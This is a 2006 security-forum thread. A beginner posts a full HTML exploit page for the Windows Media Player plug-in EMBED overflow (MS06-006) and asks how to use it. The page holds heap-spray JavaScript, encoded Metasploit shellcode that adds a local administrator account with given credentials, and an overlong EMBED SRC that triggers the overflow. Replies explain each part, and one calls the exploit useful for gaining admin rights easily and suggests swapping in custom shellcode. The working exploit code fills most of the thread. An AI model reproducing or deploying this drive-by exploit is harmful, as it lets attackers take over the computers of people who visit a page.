Government Security
Network Security Resources

Jump to content

Photo

How To Embed Wmf,wmp Exploit To Html


  • Please log in to reply
4 replies to this topic

#1 redkomodo

redkomodo

    Private

  • Members
  • 2 posts

Posted 18 February 2006 - 01:47 PM

i have been test metaploits in today and i see good,but i don't know how the way i can embed it in to the html to exploit .
###############the sample #################
<HTML>
<HEAD>
<TITLE>WMP Plugin EMBED Exploit</TITLE>
<script>
// Windows Media Player Plug-In EMBED Overflow Universal Exploit (MS06-006)
// By Matthew Murphy (mattmurphy@kc.rr.com)
//
// Tested:
// Firefox 1.5.0.1
// Windows Media Player 10
// Windows XP SP2 (US)
//
// The Windows Media Player plug-in for non-Microsoft browsers (Firefox,
// Opera, etc.) suffers from an exploitable overflow in its handling of
// EMBED tags. Specifically, a very long SRC property on such a tag can
// lead to an overflow that will corrupt a structured exception handling
// frame.
//
// The SEH frame is the vector of control that I exploit. Fortunately,
// DEP is turned off for non-Microsoft code, so there's no issue there.
// That's really a shame, because such a move would've made an already
// difficult exploit much harder.
//
// One of the reasons the exploit is tough is because the overrun buffer
// (the SRC attribute) is seriously mangled before it is handled by the
// plug-in. In particular, any character with the sign bit set (> 0x7F)
// is replaced.
//
// We could do as the creative wizards like HD Moore suggest and use an
// alphanumeric payload with some cute SEH tricks. Let me rephrase:
// YOU could do as the creative wizards suggest. Meanwhile, I'm perfectly
// content to throw my code in another buffer and get around all the silly
// alpha-numeric sanitation. Sure beats devoting hours to beating it
// with fancy shellcode, all for a PoC I may never release.
//
// Instead, I shamelessly ripped a page from Skylined's book and borrowed
// (and cleaned up) the heap spraying technique. My heap-spray is a lot
// less precise, because the memory layout is a lot more variable. In
// my experience, it took a _HUGE_ block allocation to get the heap I
// wanted to jump to into a reliably-placed location. Hence the atrocity
// of the 16MB of noops below.
//
// Aside from the character restrictions, this is a standard stack-based
// overflow. I simply smash the SEH frame with a pointer to my HUGE heap
// block, which consists of a bunch of 0x41 characters. An INC ECX is a
// functional noop -- so the box takes the slide down the heap into the
// shellcode. The shellcode is a standard Win32 "add administrator"
// payload from Metasploit.
//
// This exploit is a lot of ripping, cleaning and re-implementation, but
// that just goes to show how easy it is to write. So... how about that
// 'Important' rating? A bit perplexing to rate a "click-and-own" as an
// Important... or is it just because nobody would *DARE* run one of those
// "Non-Microsoft" browsers on Windows? :-)

// Spray the heap
var spray = unescape("%u4141%u4141%u4141%u4141%u4141%u4141%u4141%u4141");
do {
spray += spray;
} while (spray.length < 0x1000000);

// If this is successful, you can login as a local admin:
//
// User: wmp0wn3d
// Pass: password

spray += unescape(
"%uc933%ue983%ud9c9%ud9ee%u2474%u5bf4%u7381%u9713"+
"%u798c%u839b%ufceb%uf4e2%u646b%u9b3d%u8c97%udef2"+
"%u07ab%u9e05%u8def%u1096%u94d8%uc4f2%u8db7%ud292"+
"%ub81c%u9af2%ubd79%u02b9%u083b%uefb9%u4d90%u96b3"+
"%u4e96%u6f92%ud8ac%u9f5d%u69e2%uc4f2%u8db3%ufd92"+
"%u801c%u1032%u90c8%u7078%u901c%u9af2%u057c%ubf25"+
"%u4f93%u5b48%u07f3%uab39%u4c12%u9701%ucc1c%u1075"+
"%u90e7%u10d4%u84ff%u9292%u0c1c%u9bc9%u8c97%uf3f2"+
"%ud3ab%u6d48%udaf7%u63f0%u4c14%ucb02%u7cff%u9ff3"+
"%ue4c8%u65e1%u821d%u642e%uef70%uff14%ue9b9%ufe01"+
"%ua3b7%ubb1a%ue9f9%ubb0d%uffe2%ue91c%ufbb7%ueb14"+
"%ufba7%ua817%uacf3%ufa09%uffe4%uf40e%ue8e5%ub459"+
"%uc8d6%ubb3d%uaab1%uf559%uf8f2%uf759%ueff8%uf718"+
"%ufef0%uee16%uace7%uff38%ue5fa%uf217%uf8e4%ufa0b"+
"%ue3e3%ue80b%ufbb7%ueb14%ufba7%ua817%uacf3%uda56"+
"%uc8d3%u9b79"
);
</SCRIPT>
</HEAD>
<BODY>
<EMBED SRC="-------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------------------------------------------------------
---------------------------------AAAABBBBCCCCDDDDEEEEFFFFGGGGHH
HHIIIIJJJJKKKKLLLLAAA NNNNOOOOAAA QQQQRRRRSSSSTTTTUUUUV
VVVWWWWXXXXYYYYZZZZ00001111222233334444555566667777888
89999.wmv"></EMBED>
</BODY>
</HTML>


#########end#################

What is "spray += unescape(.. and many starnger character..", and EMBED SRC...
please explain for me, thank!:)
I'm newbie

#2 s134k

s134k

    Sergeant

  • Members
  • 217 posts

Posted 18 February 2006 - 04:31 PM

spray += unescape

is the equivalent of saying:

spray = spray + unescape

and that section of "stranger characters" is shellcode.

EMBED SRC is likely the overflow itself (notice that it is a large amount of junk characters, with a .wmv extension).

also this IS the embedded overflow exploit page (HTML, note the opening and closing HTML tags).
What I've felt, what I've known, never shined through in what I've shown.

Support feminists, hairy women need love too.

#3 Guest_Spiffypat_*

Guest_Spiffypat_*
  • Guests

Posted 18 February 2006 - 06:37 PM

Yah, as it say in the notes, it will create an admin user with a given password. I do believe it would be possible to edit the shellcode to your own, although there are a lot of restrictions.

This could be usefull if you wanted admin rights pretty easily. Alot of the computers will have WMP on them.

#4 redkomodo

redkomodo

    Private

  • Members
  • 2 posts

Posted 18 February 2006 - 08:57 PM

:D Thank you two profesional very much,this forum very good:).May I have another question: what the progamming language use to write shellcode and embed src above?
Can you tell me the way to study it, i think i have to study about asm and perl:), and some script.

#5 lucky123

lucky123

    Private

  • Members
  • 2 posts

Posted 06 April 2010 - 09:15 PM

Thank you for showing the professionalism....
I like the way you told the coding...
I really appreciate your effort...




0 user(s) are reading this topic

0 members, 0 guests, 0 anonymous users